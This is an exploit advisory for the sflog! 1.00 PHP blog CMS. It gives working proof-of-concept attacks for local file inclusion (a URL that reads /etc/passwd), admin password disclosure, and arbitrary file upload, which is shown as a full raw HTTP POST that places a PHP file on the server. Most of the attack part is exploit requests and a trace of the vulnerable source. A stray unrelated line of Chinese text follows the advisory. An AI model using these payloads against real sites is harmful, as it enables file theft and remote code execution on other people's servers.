:::::::-. ...::::::.:::. ;;, `';, ;; ;;;`;;;;,`;;; `[[ [[[[' [[[[[[[[. '[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P'88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-07-05] ################################################# # [ sflog! <= 1.00 ]Multiple Vulnerabilities# ################################################# # # Script: "sflog! is a flat and light CMS::Blog system." # # Vendor: http://sourceforge.net/projects/sflog/ # Download: http://sourceforge.net/projects/sflog/files/sflog/ # # # [ LFI ] # # PoC: http://localhost/sflog/index.php?blog=admin§ion=../../../../../../../etc/&permalink=passwd # # File: ./sflog/index.php (lines: 1, 53) #..cut.. #1 <?php include("./includes/pageHeader.inc.php"); ?>// 1 #..cut.. # #53require_once("./includes/entries.inc.php"); // 4 #..cut.. # # File: ./sflog/includes/pageHeader.inc.php (lines: 20, 35) #..cut.. #20 $_blogID = $_GET['blog'];// 2 #..cut.. # #35$_sectionID = $_GET['section']; // 3 #..cut.. # # File: ./sflog/includes/entries.inc.php (lines: 2-11) #..cut.. #2include_once("./cms/BlogEntry.class.php"); // 5 #3include_once("./cms/Blog.class.php"); #4$blog = new BlogEntry($_blogID,$_sectionID); // 6 #5$cms = new Blog(); #6$pages = $cms->getPostPerPage($_blogID); #7 #8// checks for permalink #9if (isset($_GET['permalink'])){ # 10$_permalink = $_GET['permalink'];// 8 # 11$blog->showEntry($_permalink); // 9 #..cut.. # # File: ./sflog/cms/BlogEntry.class.php (lines: 37-85) #..cut.. # 37 class BlogEntry { #..cut.. # 47function BlogEntry($blogID,$sectionID){// 7 # 48 error_reporting(E_USER_ERROR);// # 49 $this->blogID = $blogID;// # 50 $this->sectionID = $sectionID;// # 51 } #..cut.. # 57 function showEntry($entryID){ // 10 #..cut.. # 60$JournalContentDir = "./blogs/".$this->blogID."/data/".$this->sectionID; // 11 #..cut.. # 80$JournalContent = $JournalContentDir."/".$entryID; // 12 #..cut.. # 83include_once $JournalContent;// 13[LFI] #..cut.. # ################################################# # [ Admin Password Disclosure ] # # PoC: http://localhost/sflog/admin/passwd # ################################################# # [ Arbitrary File Upload ] # # File: ./sflog/admin/includes/uploadContent.inc.php (lines: 62-72) #..cut.. #62 if (trim($_FILES['fileID']['name'])!=''){ #63 $uploaddir = BLOG_PATH.$blogID.BLOG_UPLOADS; #64 $uploadfile = $uploaddir . basename($_FILES['fileID']['name']); #65 echo '<pre>'; #66 if (move_uploaded_file($_FILES['fileID']['tmp_name'], $uploadfile)) { #67 print(UPLOAD_SUCCESS); #68 } else { #69 print('<font color="red">'.UPLOAD_FAILED.'</font>'); #70 } #71 print "</pre>"; #72 } #..cut.. # # PoC: # # POST /sflog/admin/includes/uploadContent.inc.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 # Accept-Encoding: gzip, deflate # Connection: keep-alive # Content-Type: multipart/form-data; boundary=---------------------------4827543632391 # Content-Length: 411 # -----------------------------4827543632391 # Content-Disposition: form-data; name="blogID" # # admin # -----------------------------4827543632391 # Content-Disposition: form-data; name="MAX_FILE_SIZE" # # 0 # -----------------------------4827543632391 # Content-Disposition: form-data; name="fileID"; filename="info.php" # Content-Type: text/x-php # # <?php phpinfo(); ?> # # -----------------------------4827543632391-- # # # Uploaded file will be here: http://localhost/sflog/blogs/admin/uploads/info.php # ### [ dun / 2012 ] #####################################################
体验盒子
